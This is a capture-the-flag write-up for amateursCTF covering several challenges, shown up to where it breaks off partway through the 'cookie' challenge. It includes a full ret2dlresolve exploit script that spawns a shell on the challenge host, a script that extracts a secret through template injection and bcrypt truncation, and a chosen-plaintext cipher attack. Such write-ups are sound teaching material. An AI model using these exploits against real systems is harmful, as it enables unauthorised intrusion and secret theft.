pwn

reflection

Description

Do you know what ret2dlresolve is?

nc chal.amt.rs 1344

dist.tar.xz

Solution

author: Zek

Analysis

Check protections:

Check source:

Ok, so this is a very simple binary. Given theres no canary and PIE, lets check for any gadgets:

Hmm… it doesn't look like theres anything that useful here.

Solving

The challenge mentioned "ret2dlresolve", so I looked into it.

This article has an excellent description of ret2dlresolve on x64 binaries, but the gist of it is forging three fake sections, JMPREL, DYNSYM, and STRTAB, then calling _dl_runtime_resolve() with a value (reloc_arg) on the stack to resolve the libc address of system() into the GOT. system() is then called when _dl_runtime_resolve() returns.

The problem is that we have barley any control over the registers. The article assumes we have some pop gadgets. Some things to note:

• When gets() returns, a pointer to a writeable region in libc is left in $rdi (_IO_stdfile_0_lock), but this address is randomized with ALSR
• We can write into the .bss and store our faked sections there as PIE is off
• To write into the .bss, we can use the leave instruction and store a value in $rbp, then jump back to these instructions:
  ​​​​0x000000000040112e <+8>:     lea    rax,[rbp-0xd]
  ​​​​0x0000000000401132 <+12>:    mov    rdi,rax
  ​​​​0x0000000000401135 <+15>:    mov    eax,0x0
  ​​​​0x000000000040113a <+20>:    call   0x401030     <gets@plt>
  

  which will allow us to write into the .bss.
  • This actually misaligns the stack, so we have to stack pivot again to get 16 byte aligned for the system() call.

So, heres the attack:

1. Generate the fake sections
2. On our first overflow, set $rbp to a value in the .bss, and return to 0x40112e to call gets() again
   • This gets() call loads in the stack frame/data for steps 4 onwards
3. Stack pivot so the stack is 16-byte aligned
4. Stack pivot again so the next gets() call has space on the stack and won't overwrite our data [might be unneccesary]
5. Call gets() from the PLT, not main(), loading the "/bin/sh" string into $rdi
   • The string "/bin0sh\x00" has to be loaded, not "/bin/sh\x00" because gets() modifies the value in _IO_stdfile_0_lock.
6. Call _dl_runtime_resolve() with reloc_args on the stack
7. shell :)

I decided to use 0x404d48 as the start of the fake sections, mainly to avoid a segfault in _dl_runtime_resolve() when the process state was saved to the stack.

I stole borrowed a payload from that article I linked before, and with a little bit of tweaking:

Here's my solve script:

#!/usr/bin/env python3

from pwn import *

e = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = e
context(terminal=["tmux", "split-window", "-h"])
# gdb.attach(p) for a bkpt

def conn():
    if args.REMOTE:
        p = remote("chal.amt.rs", 1344)
    else:
        p = process([e.path])

    return p

def align(addr):
    return (0x18 - (addr) % 0x18)

p = conn()
# Sections
RW_AREA = 0x404000 + 0xd18 # .bss + 0xd18
PLT = 0x401020 # .plt default stub
JMPREL = 0x400590 # .rela.plt section
SYMTAB = 0x4003e0 # .symtab section
STRTAB = 0x400470 # .strtab section

got_gets = 0x404000

# Fake .rela.plt
fake_relaplt = RW_AREA + 0x20 # Right after reloc_arg
fake_relaplt += align(fake_relaplt - JMPREL) # Alignment in x64 is 0x18
reloc_arg = int((fake_relaplt - JMPREL) / 0x18)

print("Fake .rela.plt starts at: " + hex(fake_relaplt))
print("reloc_arg is: " + hex(reloc_arg))
print("Expected fake .rela.plt at: hex(reloc_arg*0x18 + JMPREL) => " + hex(reloc_arg*0x18 + JMPREL))
print("-"*80)

# Fake .symtab
fake_symtab = fake_relaplt + 0x18
fake_symtab += align(fake_symtab - SYMTAB) # Alignment in x64 is 0x18
r_info = (int((fake_symtab - SYMTAB) / 0x18) << 32) | 0x7 # | 0x7 to bypass check 4.

print("Fake .symtab starts at: " + hex(fake_symtab))
print("r_info is: " + hex(r_info))
print("Expected fake .symtab at: hex(((r_info >> 32)*0x18) + SYMTAB) => " + hex(((r_info >> 32)*0x18) + SYMTAB)) # *0x18 because it is used as index
print("-"*80)

# Fake .strtab
fake_symstr = fake_symtab + 0x18
st_name = fake_symstr - STRTAB
bin_sh = fake_symstr + 0x8

print("Fake .symstr starts at: " + hex(fake_symstr))
print("st_name is: " + hex(st_name))
print("Expected fake .strtab at: hex(STRTAB + st_name) => " + hex(STRTAB + st_name))
print("-"*80)

#JMPREL
fake = p64(got_gets)
fake += p64(r_info)
fake += p64(0)*4

#SYMTAB
fake += p32(st_name) #st_name
fake += p8(0x12) #st_info
fake += p8(0) #st_other
fake += p16(0) #st_shndx
fake += p64(0) #st_val
fake += p64(0) #st_size

#STRTAB
fake += b"system\x00\x00"


payload = b"A"*13
payload += p64(0x4043FB) # rbp #1, where to write data from next gets() call
payload += p64(0x40112e) # call gets() from main [return #1]
p.sendline(payload)

payload = b"A"*13
payload += p64(0x404410) # rbp #2
payload += p64(0x401144) # leave, stack pivot to get stack aligned [return #2]
payload += b"AAAAA" # filler [get 8 byte aligned]
payload += p64(0x404ce8 + 16) # rbp #3
payload += p64(0x401144) # leave, stack pivot to rbp #4  [leaving space in stack for gets() call, might be unneccesary]
payload += p64(0) * 0x11b # filler

payload += p64(0x404ce0+24+16)*1 # rbp 4
payload += p64(0x401030) # gets(), load "/bin/sh" into rdi
payload += p64(PLT) # _dl_runtime_resolve()
payload += p64(reloc_arg) # reloc_arg
payload += p64(0)*6 # filler
payload += fake # fake sections start at 0x404d48

p.sendline(payload)

p.sendline(b"/bin0sh\x00")

# here we go!

p.interactive()

Flag: amateursCTF{i_dont_know_how_but_they_found_me}

^{_{Not pictured here: hours of fixing stack alignment}}

rev

hole

Description

🕳️

Elixir.Program.beam enc.txt code.🕳️

Solution

author: Emerald Block

Disassembling

A quick search revealed that Erlang/Elixir has a builtin function for disassembling .beam files, :beam_disasm.file.

oops

At first I had trouble disassembling the .beam file without some error about bad data. I then learnt what Elixir.[whatever].beam files actually are: Compiled libraries that can be accessed e.g. through the iex Elixir interactive shell. Attempting to access a function on Program in the shell printed an error that Erlang 24 was too old; upgrading to 26 fixed that!

…after learning how even to write basic Elixir…

{:ok, file} = File.open("Elixir.Program.beam")
body = IO.binread(file, :all)
IO.inspect(:beam_disasm.file(body), limit: :infinity)

This prints the "bytecode" in a format like an abstract syntax tree. Unfortunately I couldn't find any documentation and only found an article explaining a few new instructions. I also compiled a module to see how some things translated, but a lot of my analysis was guesswork. (As I was writing this I found an introduction which also links a list of all instructions, oops!)

The entire code is very long; here's an annotated snippet:

   {:function, :tokenize, 1, 39,
    [
      {:line, 26},
      {:label, 38}, # jump label
      {:func_info, {:atom, Program}, {:atom, :tokenize}, 1},
      {:label, 39},
      {:test, :is_eq_exact, {:f, 40}, [x: 0, literal: ""]}, # if not x0 == "": goto 40
      {:move, nil, {:x, 0}}, # x0 = nil
      :return, # return x0
      {:label, 40},
      {:allocate, 1, 1},
      {:init_yregs, {:list, [y: 0]}},
      {:line, 27},
      {:call, 1, {Program, :get_token, 1}}, # x0 = Program.get_token(x0)
      {:get_tuple_element, {:x, 0}, 0, {:y, 0}}, # y0 = x0[0]
      {:get_tuple_element, {:x, 0}, 1, {:x, 0}},
      {:line, 28},
      {:call, 1, {Program, :tokenize, 1}},
      {:test_heap, 2, 1},
      {:put_list, {:y, 0}, {:x, 0}, {:x, 0}},
      {:deallocate, 1},
      :return
    ]},

Key observations:

• Most instructions are of the form {instruction, ...data, output_register}.
• The :x registers are used for parameters, {:x, 0}, {:x, 1}, ..., and the return value, {:x, 0}.
• {:f, label_number} is a GOTO and usually represents where to jump if a check fails.
• Ranges, e.g. 1..-1//1, are 0-indexed and inclusive.
• This isn't pwn, I don't need to keep track of allocations or debug info :)

get_token is by far the most complicated and also the most critical to analyze correctly, since it's what actually parses the code.🕳 file contents. It uses binary pattern matching applied to the result of String.at([arg0], 0) to split into multiple cases, each of which asserts its binary representation is of a certain length.

At first I was confused how a character could have different lengths, until I realized that strings are UTF-8 and String.at returns a grapheme, which has variable length (a code point is 1 to 3 bytes, and I just realized that tacking on a variation selector is what allows for 6-byte graphemes).

I manually translated the operations into a more readable format,
and then translated parts of it into pseudocode until I figured out what was going on:

tokenize(x0) {
    if x0 == "":
        x0 = nil
        return
    x0 = get_token(x0)
    { y0, x0 } = x0
    x0 = tokenize(x0)
    # cons cell representation
    # so this is prepending y0 to x0
    x0 = [y0, x0]
    return x0
}

tokenize(text) {
    if text == "":
        return nil
    info = get_token(text)
    { token, text } = info
    tokens = tokenize(text)
    return [token, tokens]
}

So for tokenize, The net effect is repeatedly performing { next_instruction, remaining_text } = get_token(text). (This was by far the easiest nontrivial function to analyze!)

Parsing the parsing

Because get_token performs string slicing to return remaining_text, I was worried I'd have to deal with UTF-8 encoding, but thankfully all operations used work at the level of graphemes. By also looking at code.🕳 with a hex editor, I determined that get_token(text) operates as follows:

• Let char be the first grapheme of text.
• If the first byte of char is 226, extract the next two bytes as a (big-endian) integer, and…
  • If it is 40343, return {:input, text[1:]} (Python-style half-open interval slicing).
  • If it is 40339, return {:output, text[2:-1]}.
  • If it is 39584, assert that the next 24 bits match a fixed value, then…
    • Split text by "*"s to obtain list.
    • Pop off the first two entries of list (and assign the resulting list to list) and parse them as decimal integers to obtain a, b. (I figured out the order later.)
    • Rejoin list[:-3] with "*"s to obtain text.
    • Return {{:reverse, a, b}, text}.
• There are some other cases and some error handling, but as I wrote and tested my solve script I realized they were unused.

Note how text is consumed from both ends! Anyway, I could now decode the instructions:

code = open("code.hole", "rb").read()
code.replace(b"\n", b" ")
arr = code.split(b"*")
ops = []

while len(arr) > 0:
    v = arr[0][0]
    if v == 226:
        w = arr[0][1]*256+arr[0][2]
        if w == 40343:
            # consequence of splitting by *s rather than graphemes,
            # because the :input grapheme is not separated by *s
            arr[0] = arr[0][3:]
            if len(arr[0]) == 0:
                arr = arr[1:]
            ops.append("input")
        elif w == 40339:
            arr = arr[1:-1] # 1: and not 2: since the *s aren't part of `arr`
            ops.append("output")
        elif w == 39584:
            a = int(arr[-3].decode())
            b = int(arr[-2].decode())
            arr = arr[1:-3]
            ops.append(("reverse", a, b))
        else:
            assert False
    elif v == 240:
        assert False
    elif v == 34:
        assert False
    else:
        assert False

print(ops)

['output', ('reverse', 1291, 1321), ('reverse', 1435, 1448), ...much more...,
('reverse', 43, 1090), 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input', 'input']

Reversing

I now took the opportunity to analyze main(filename), which is really short when you ignore the file error handling. It calls tokenize on the contents of the file, reverses the result, and invokes run. That explains the reversed order.

run(ops) calls run(ops, ""). Analyzing run(ops, str) was a lot easier since I already know the (very small) instruction set and could guess what it does. It works as follows:

• Pop off the first entry of ops to obtain op.
• If op is a tuple, assert it begins with :reverse, and…
  • Let a, b be the other elements of op.
  • Do stuff with the ranges [0, a-1] and [a, b].
  • Tail call run(ops, [idk]).
• Otherwise switch on op:
  • If it is :output…
    • Print str to standard output.
    • Do stuff involving :bs_create_bin.
    • Tail call run(ops, [idk]).
  • If it is :input…
    • Read a line from standard input with prompt "> ".
    • Do stuff involving :bs_create_bin.
    • Tail call run(ops, [idk]).

So the only manipulation is reversing closed intervals, which can be undone by performing the operations in reverse:

enc = open("enc.txt", "r").read()
while ops[-1] == "input":
    ops.pop()
for i in range(1, len(ops)):
    r, a, b = ops[i]
    enc = enc[:a] + enc[a:b+1][::-1] + enc[b+1:]

print(enc)

!!!EYES ONLY - DESTROY AFTER READING!!!

Agent Larry,

really boring request

extremely useless information "amateursCTF{sp3cial_ops_agen7_larry_1nb0und}"

utterly pointless instructions

completely meaningless goal

unnecessary backup plan

wholly insignificant note

Farewell. {.;,;.}

Flag: amateursCTF{sp3cial_ops_agen7_larry_1nb0und}

flagpatch

unsolved :(

revtale-2

Description

However… I have a& difficult request to ask& of you.

…

I would like you to walk& to the end of the room by yourself.

Forgive me for this.

• Toriel

revtale-2.zip

Solution

author: Zek

Extracting the archive results in 4 files: data.win, f.txt, MiniTale.exe, and options.ini. Like revtale-1, this is a Game Maker Studio game. Opening the exe, we can pretty quickly see its a mod of Undertale.

Opening it in UndertaleModTool (a tool to analyze Game Maker Studio games) gives out an error.

Given the description, we probably have to somehow get to the end of the room. The hallway seems to extend infinitely. However, if you just walk backwards, its clear you get teleported back at a certain point.

We probably have to bypass this wall/teleporter/thing. Thankfully, this is pretty easy with Cheat Engine. Cheat Engine is a debugger of sorts that allows you to attach to a program, and scan for/edit memory addresses (along with other features).

Lets attach RevTale.exe, and create a new scan. From here, I spammed 5 types of scans until I got to ~40 addresses left:

• Don't move, scan for unchanged values
• Move, scan for changed values
• Move left, scan for decreased values
• Move right, scan for increased values

After this, I was left with a bunch of values that all seemed to be the x coordinate of the player, but when I changed some of them, they didn't change the position and were immediately reverted. These are likely related variables, but dont control the position. From here, it was a guess and check of editing each address until…

There we go!

Flag: amateursCTF{d0_y0u_pr3f3r_butt3rsc0tch_0r_c1nnam0n?}

web

creative-login-page

Description

i ran out of ideas so here is a login page challenge

http://creative-login-page.amt.rs

LoginpageApplication.java

Solution

author: goose

We are able to template any String field into the username and password; however, the username input has a check to ensure that the flag field is not contained in the input, and the password is stored as a hash, not as plaintext.

There is one observation that we can make off the bat: the salts for the bcrypt hashes are static. To me, this indicates that we likely need to mess with the hashed password rather than try to bypass the filter on the username.

After some searching, we found that bcrypt only uses the first 72 bytes of the input password string when generating a hash. We can abuse this fact combined with the fact that salts are static to find the flag character-by-character.

Because we can use any arbitrary-length string as our password, we can simply pad the password with 71 bytes of known junk and template the flag so the password is the the 71 bytes of junk concatenated with the flag. Since the salts are static, the resulting hash will always be equivalent to that junk concatenated with the same character as the start of the flag, so we can then check the equality of that hash against the hash of the junk concatenated with different possible characters until we find a character that results in the same hash. This character is the first character of our flag.

We can use a similar method to find the rest of the flag; however, our junk will now also need to contain the start of the flag that we already found. After running the below script, we get the flag. (thanks for putting a capital A in the flag )

import requests
from os import urandom

ALPHABET = 'A@4abcdefghijklmnopqrstuvwxyz0123456789_{}'

url = 'http://creative-login-page.amt.rs'

s = requests.Session()

def random(length):
    return urandom(length).hex()[2:length+2]

flag = 'amateursCTF{'
while True:
    username = random(8)
    s.post(f'{url}/register', data={
        'username': username,
        'password': 'A' * (71 - len(flag)) + '{{flag}}'
    })
    original = s.cookies['token']

    for c in ALPHABET:
        # check hash
        res = s.post(f'{url}/login', data={
            'username': username,
            'password': 'A' * (71 - len(flag)) + flag + c
        })

        if 'Hello' in res.text:
            flag += c
            print(flag)
            break
    
    if '}' in flag:
        break

Flag: amateursCTF{1_l0v3_l0gin_pAges}

crypto

pilfer-techies

Description

Uh, I modified the fake onion and now it's hoarding flags with an unreversable cipher?? Please pilfer them for me.

nc chal.amt.rs 1415

pilfer-techies.py

Solution

author: Emerald Block

Reading the challenge

This challenge's cipher is shown below, where key is 16 cryptographically secure random bytes.

class Cipher:
    def __init__(self, key: bytes):
        self.key = key
        self.block_size = 16
        self.rounds = 256

    def F(self, x: bytes):
        return hmac.new(self.key, x, 'md5').digest()[:15]

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(((len(plaintext)-1)//self.block_size)*16+16, b'\x00')
        ciphertext = b''

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i:i+self.block_size]
            idx = 0
            for _ in range(self.rounds):
                L, R = block[:idx]+block[idx+1:], block[idx:idx+1]
                L, R = strxor(L, self.F(R)), R
                block = L + R
                idx = R[0] % self.block_size
            ciphertext += block

        return ciphertext.hex()

When we connect to the server, we can get the encrypted flag and perform arbitrarily many encryptions.

Let

$B_k$ and

$i_k$ be block and idk after

$k$ rounds. The algorithm is thus

$$\begin{array}{rl}{R}_k& =B_k[i_k]\\ B_{k+1}& =(B_k[\setminus i_k]\oplus F(R_k))||R_k\\ i_{k+1}& =R_{k}mod16\end{array}$$where

$i_0=0$, the input is

$B_0$, and the output is

$B_{256}$.

Note that F() is only ever called with a bytestring of length 1. The extremely direct usage of MD5 probably means the 256 bytestrings of length 15 that F() outputs are as good as truly random. (Also, I don't know anything about MD5.)

I noticed two key vulnerabilities:

• $R$ is not hashed and always appended to the end. But then, if
  $Rmod16$ is ever
  $15$, then the next
  $R$ is the last element, which is what was just appended, so it is the same, as is the next
  $R$, and so on, "trapping"
  $i$ and
  $R$ and defeating the large number of rounds.
  • Unfortunately, encrypting
    $(15,0,0,...)$ cannot recover
    $F(15)$ because the rest of the bytestring is XORed an even number of times, yielding
    $(0,0,...,15)$.
• Contrary to the flavortext, if we know
  $F$, then the cipher is mostly reversible, intuitively because the last byte gives the XOR mask to undo, and the index it is inserted into the bytestring must be equal to the "new" last byte modulo
  $16$ (with some exceptions). We will formalize this after we actually recover
  $F$.

To avoid clutter, we write

$F_x$ instead of

$F(x)$.

Recovering the masks

The next simplest thing to encrypt is where we fall into the trap on the second iteration, i.e.

$R_{1}mod16=15$. For convenience, let the input start with

$B_0[0]=0$, so that

$R_1$ results from

$B_0[1]$ after the first XOR; specifically,

$R_1=B_0[1]\oplus F_0[0]$.

Let

$x=R_1$. Since we have no clue what

$F_0[0]$ is, let us guess some value for

$B_0[1]=x\oplus F_0[0]$ and hope that the resulting

$x$ has residue

$15$, in which case the cipher performs

$0$

$x\oplus F_0[0]$

$\cdots$

$x$

$\cdots$

$0$

$\cdots$

$F_x[14]$

$x$

$\cdots$

$0$

$x$

$\cdots$

$F_x[14]$

$x$

with the last two repeating until ending with the latter. Thus, if we guessed a right value, the other array entries should have no effect on the last two elements of the encrypted array.

So, to check whether our choice was right, we can encrypt with a few different choices for the other entries and confirm that the last two elements are always the same. (Note that checking whether the last element of the output has residue 15 is basically useless, because the cipher almost always falls into the trap.)

Furthermore, we only need to guess the values

$0$ through

$15$, since the XOR with

$F_0[0]$ just permutes the residues modulo

$16$, so exactly one of those guesses is correct. Since the check gives no false negatives, if exactly one guess passes, we know it must be correct. (I found that

$4$ choices for the other entries for each guess is usually enough to fail all wrong guesses.)

Since we know the values of the input and output arrays, we can calculate

$F_0[0]$ as

$(x\oplus F_0[0])\oplus x$.

To recover the rest of

$F_0$, we need to add another step to our attack so that

$F_x$ is XOR'd in an even number of times and disappears. (Note

$x$ can be any value with residue

$15$; we choose

$x=15$ for simplicity.) We can try to have

$R_1=0$ and fall into the trap on the third iteration, though this requires guessing

$F_0[1]$. The cipher performs

$0$

$F_0[0]$

$x\oplus F_0[0]\oplus F_0[1]$

$(0{)}_{j=0}^{12}$

$0$

$x\oplus F_0[0]$

$(F_0[j+2]{)}_{j=0}^{12}$

$0$

$x$

$(F_0[j+2]\oplus F_0[j+1]{)}_{j=0}^{12}$

$F_0[14]$

$0$

$(F_0[j+2]\oplus F_0[j+1]\oplus F_x[j]{)}_{j=0}^{12}$

$F_0[14]\oplus F_x[13]$

$F_x[14]$

$x$

$(F_0[j+2]\oplus F_0[j+1]{)}_{j=0}^{12}$

$F_0[14]$

$0$

$x$

with the last two repeating until ending with the latter. Notice how the two XORs with

$F_0$ are actually offset by one! Thus, the output contains

$$F_0[1]\oplus F_0[2],F_0[2]\oplus F_0[3],\dots ,F_0[13]\oplus F_0[14].$$It also contains

$F_0[14]$, so we can calculate

$F_0[13]$ and so on to recover the entirety of

$F_0$.

We just need to verify which guess for

$F_0[1]$ is correct. We can just check that the last two values of the output are

$0$ and

$x$. Since this produces no false negatives, if exactly one guess passes, we know it must be correct. (Heuristically, the likelihood of a false positive from each of the

$255$ wrong guesses is about

$1$ in

$256\cdot 16$.)

Now that we know

$F_0$, notice that our first attack depends only on

$F_0$ and

$F_x$, and we know the former. Thus, we can reemploy that attack to calculate

$F_x$ for all

$x$ with residue

$15$, no guessing needed!

$0$

$x\oplus F_0[0]$

$(F_0[j+1]{)}_{j=0}^{13}$

$x$

$(0{)}_{j=0}^{13}$

$0$

$(F_x[j]{)}_{j=0}^{13}$

$F_x[14]$

$x$

$(0{)}_{j=0}^{13}$

$0$

$x$

$(F_x[j]{)}_{j=0}^{13}$

$F_x[14]$

$x$

I choose to fill the remaining entries of the input with

$F_0$ so that the XOR with

$F_0$ cancels out, leaving behind

$F_x$ exactly in the first

$15$ entries of the output.

For the remaining

$F_y$ where

$y$ does not have residue

$15$, we can again employ a variant of the first attack, now knowing

$F_x$. (We again use

$x=15$ for simplicity.) Note that since

$i_1=ymod16$ may no longer be

$0$, we have to position the trap

$x\oplus F_y[i_1]$ at

$i_1+1$ in the input.

Let

$y^{\prime }=i_1$. We guess

$F_y[y^{\prime }]$, which should result in

$y$

$(0{)}_{j=0}^{y^{\prime }-1}$

$x\oplus F_y[y^{\prime }]$

$(0{)}_{j=y^{\prime }}^{13}$

$(F_y[j]{)}_{j=0}^{y^{\prime }-1}$

$x$

$(F_y[j+1]{)}_{j=y^{\prime }}^{13}$

$y$

$(F_y[j]\oplus F_x[j]{)}_{j=0}^{y^{\prime }-1}$

$(F_y[j+1]\oplus F_x[j]{)}_{j=y^{\prime }}^{13}$

$y\oplus F_x[14]$

$x$

$(F_y[j]{)}_{j=0}^{y^{\prime }-1}$

$(F_y[j+1]{)}_{j=y^{\prime }}^{13}$

$y$

$x$

$(F_y[j]\oplus F_x[j]{)}_{j=0}^{y^{\prime }-1}$

$(F_y[j+1]\oplus F_x[j]{)}_{j=y^{\prime }}^{13}$

$y\oplus F_x[14]$

$x$

If we guessed the right value, then we can recover

$F_y[0],\dots ,F_y[y^{\prime }-1]$ and

$F_y[y^{\prime }+1],\dots ,F_y[14]$, and

$F_y[y^{\prime }]$ is just our guess, giving us all of

$F_y$.

To check a guess, we can just verify that the last two values of the output are what we expect. If we end up with more than one passing guess, we can't do much other than record both (or all) possibilities for

$F_y$ and try every combination of possibilities when recovering the flag.

This is by far the most time-consuming part of recovering the masks, since for each of the

$256-16=240$ values of

$y$, we need to check

$256$ different possibilities for

$F_y[y^{\prime }]$. The chance of false positives is decently important here, since if a value of

$y$ gets a false positive, the number of combinations doubles. (The possibility of multiple false positives for a single

$y$ is negligible.)

Again, heuristically, the chance of a guess being a false positive is

$1$ in

$256\cdot 16$, so there are about

$\frac{240\cdot 255}{256\cdot 16}\approx 15$ false positives, meaning

$2^{15}\approx 30000$, which is well within manageable limits. The exact number of false positives will vary, but since the cipher takes on the order of

$256\cdot 16$ operations, any number of possibilities below a million should be fine.

Below is my implementation. To avoid network speeds being a bottleneck, we can concatenate and send multiple blocks at a time, since the cipher operates on each block independently.

import pwn, re, sys

conn = pwn.remote("chal.amt.rs", 1415)
# the below is for an altered version of `pilfer-techies.py`
# that prints the masks for debugging purposes
# conn = pwn.process(["python3", "remote.py"], stderr=open("masks.txt", "wb"))

conn.recvuntil(b"> ")
conn.sendline(b"2")
fe = bytes.fromhex(conn.recvline().decode())
print("fe", list(fe))

def query(text):
    conn.sendline(b"1")
    conn.recvuntil(b": ")
    conn.sendline(text.hex().encode())
    return bytes.fromhex(conn.recvline().decode())

# accepts an arbitrarily-nested array of bytestrings, for convenience
def qmany(texts):
    # def walk(ts):
    # if not isinstance(ts, list):
    #     return ts
    # ret = b""
    # for t in ts:
    #     ret += walk(t)
    # return ret
    # text = walk(texts)
    text = b""
    def walk(ts):
        nonlocal text
        if not isinstance(ts, list):
            text += ts
            return
        for t in ts:
            walk(t)
    walk(texts)
    ans = re.findall(b"[\x00-\xff]{16}", query(text))[::-1]
    def give(ts):
        if not isinstance(ts, list):
            return ans.pop()
        ret = []
        for t in ts:
            ret.append(give(t))
        return ret
    return give(texts)

# recover F_a[0]
arrs = []
for j in range(16):
    arr = []
    for k in range(4):
        s = [k] * 16
        s[0] = 0
        s[1] = j
        arr.append(bytes(s))
    arrs.append(arr)
res = qmany(arrs)
cands = [j for j, x in enumerate(res) if len(set((y[-2], y[-1]) for y in x)) == 1]
if len(cands) != 1:
    print("fail step 1", len(cands))
    exit(1)
j = cands[0]
ma0 = j ^ res[j][0][-1]

# Recover F_a
arrs = []
for ma1 in range(256):
    s = [0] * 16
    s[0] = 0
    s[1] = ma0
    s[2] = 15 ^ ma0 ^ ma1
    arrs.append(bytes(s))
res = qmany(arrs)
cands = [ma1 for ma1, x in enumerate(res) if x[-2] == 0 and x[-1] == 15]
if len(cands) != 1:
    print("fail step 2", len(cands))
    exit(1)
ma1 = cands[0]
ma = [ma0, ma1]
for i in range(2, 15):
    ma.append(res[ma1][i-2] ^ ma[-1])
print(0, ma)

# Recover F_(15+16Z)
masks = [None] * 256
masks[0] = [ma]
arrs = []
for k in range(15, 256, 16):
    s = [0, k ^ ma[0]] + ma[1:15]
    arrs.append(bytes(s))
res = qmany(arrs)
for r, k in zip(res, range(15, 256, 16)):
    assert r[15] == k
    masks[k] = [list(r)[0:15]]
    # print(k, masks[k][0])

print("begin long part")

# recover F
mk = masks[15][0]
for b in range(256):
    if b % 16 == 15:
        print(masks[b], ",")
        continue
    arr = []
    for j in range(256):
        s = [0] * 16
        s[0] = b
        s[1 + b % 16] = 15 ^ j
        arr.append(bytes(s))
    # we don't aggregate all 240 of these encryptions to avoid to large a request
    # and to see the progress live (network speed is no longer the bottleneck)
    res = qmany(arr)
    cands = [mbb for mbb, x in enumerate(res) if x[-2] == b ^ mk[14] and x[-1] == 15]
    mb = []
    for j in cands:
        r = list(res[j])
        mb.append([a^b for a,b in zip(r[0:b%16],mk[0:b%16])]
            + [j]
            + [a^b for a,b in zip(r[b%16:14],mk[b%16:14])])
    if b == 0:
        print(mb, ",")
        assert any(all(a == b for a,b in zip(m,ma)) for m in mb)
        continue
    masks[b] = mb
    print(masks[b], ",")
print()
print(fe)
print(masks)

oops

Initially I directly tested this code against the remote, which was both much slower and meant I couldn't check whether the

$F_y$s were correct without recovering all of them and implementing the flag decryptor. Then I realized I could test locally and print out the real masks for debugging!

Reversing the cipher

As mentioned above,

$R$ and

$i$ usually fall into a trap. Going in reverse looks like the following:

1. Given that the last element
   $R$ has residue
   $15$, the rest of the array is XOR'd with
   $F_R$ some number of times.
2. Leaving the trap, each round consists of XOR'ing the rest of the array based on the last element and inserting the last element somewhere in the array based on the "new" last element (which was what caused the inserted element to be selected).
   • Note that from this point onwards, there are no more last elements with residue
     $15$, since those should've caused traps.
3. On the "last" round, the last element is inserted at the front rather than based on the "new" last element, since the initial index is defined to be 0.

Note we do not know how many rounds are spent before the trap, so step 3 could occur at any time. Since undoing the trap either XORs the array with

$F_R$ or doesn't, we can just take both possibilities and reverse them according to step 2, on each round trying out step 3 to see if it yields valid ASCII.

Below is the decryptor, which expects the last two lines printed by the earlier code to be in data.txt. I chose to iterate over all masks for each chunk separately and assume the first valid ASCII decoding is correct.

import itertools, functools, operator

fe, maskss = map(eval, open("data.txt", "r").read().split("\n"))

print(functools.reduce(operator.mul, (len(x) for x in maskss)))

ans = b""
for block in range(0, len(fe), 16):
    maskis = [0] * 256
    try:
        for iters in itertools.count():
            if iters % 0x1000 == 0:
                print(iters)

            masks = [maskss[i][maskis[i]] for i in range(256)]
            a = list(fe[block:block+16])
            b = [a^b for a,b in zip(a[0:15],masks[a[15]])] + [a[15]]

            for f in [a,b]:
                for _ in range(256):
                    r = f.pop()
                    f = [a^b for a,b in zip(f,masks[r])]
                    g = [r] + f[0:15]
                    if all(i < 128 for i in g):
                        ans += bytes(g)
                        raise BaseException()
                    l = f[-1]
                    if l%16 == 15:
                        break
                    f = f[0:l%16] + [r] + f[l%16:15]

            for i in range(256):
                maskis[i] += 1
                if maskis[i] != len(maskss[i]):
                    break
                maskis[i] = 0
            else:
                exit(1)
    except:
        pass
    print(bytes(g))
print(ans)

Fortunately, while there were 786432 possibilities, each chunk tried no more than 50000, with half of them basically instant.

Flag: amateursCTF{i_love_cycles_4nd_cycl3s_anD_cYcl3s_AND_cyCLEs_aNd_cyc135_4319d671}

misc

cookie

Description

What is life if not incomprehensible nonsense? Please untangle this for me. I'm hungry.

Flag is valid ascii.

checker.py out.zip

Solution

author: Emerald Block

What's going on?

Unzipping out.zip gives a huge text file out.txt that begins 8638/12964/g0g0g0g0g0…. Looking at checker.py, the code is relatively straightforward and does the following:

• Read in a "solution" from player.txt and assert it matches out.txt, except for instances of ^0 which must be replaced with either ;3 or $0. (Hence out.txt is like a template to be filled in at select cells.)
• Interpret player.txt as a grid of 2-character cells (12964 rows of 8638 cells, as specified by out.txt).
  • Based on the code, the cell types are $0, ;3, and g0 (ignoring ^0 since it's replaced).
• Processing each cell in order (row by row), if it is ;3 and exactly one of the nine cells in the 3×3 area centered on the cell is $0, replace it with $0.
  • The behavior at the edges is unclear, but it later turns out that no ;3s are on the edge.
• If a specific cell towards the end of the grid is $0, then generate the flag by converting the choices we made for replacing ^0 to a bitstring (;3 is 0 and $0 is 1) and interpreting it as UTF-8 (which will just be ASCII, as per the flavortext).

This immediately reminded me of a Minetest challenge LiveOverflow covered that involved parsing and solving a circuit constructed on a 2D grid.

I realized that ;3 was like wire that could be "activated" to become $0, which propagates. g0 does nothing and so is just a filler cell. To visualize the grid, I rendered it as pixels to form a raster image:

import fs from "fs/promises";
import assert from "assert/strict";
import { Canvas } from "@napi-rs/canvas";

const [sw, sl, server_map] = (await fs.readFile("out.txt")).toString().split("/");
const w = +sw;
const l = +sl;
console.log(w, l);

assert.equal(w * l, server_map.length / 2);

const canvas = new Canvas(w, l);
const ctx = canvas.getContext("2d");
const imageData = ctx.createImageData(w, l);
const data = imageData.data;
const colors = {
    "g0": 0x000000,
    "^0": 0xffffff,
    ";3": 0xff0000,
    "$0": 0x0000ff,
};
for (let i = 0; i < w * l; ++i) {
    const server = server_map.slice(i*2, i*2+2);
    const color = colors[server];
    data[i*4] = color>>16 & 0xff;
    data[i*4+1] = color>>8 & 0xff;
    data[i*4+2] = color & 0xff;
    data[i*4+3] = 0xff;
}
ctx.putImageData(imageData, 0, 0);
await fs.writeFile("server.webp", canvas.toBuffer("image/webp", 100));

chars	nickname	color
g0	EMPTY	black
^0	CHOICE	white
;3	WIRE	red
$0	POWER	blue

Understanding the grid

Zooming in, we see the choice cells form a row at the top that propagate down, each splitting into two columns that enter a huge matrix of some kind of logic gate:

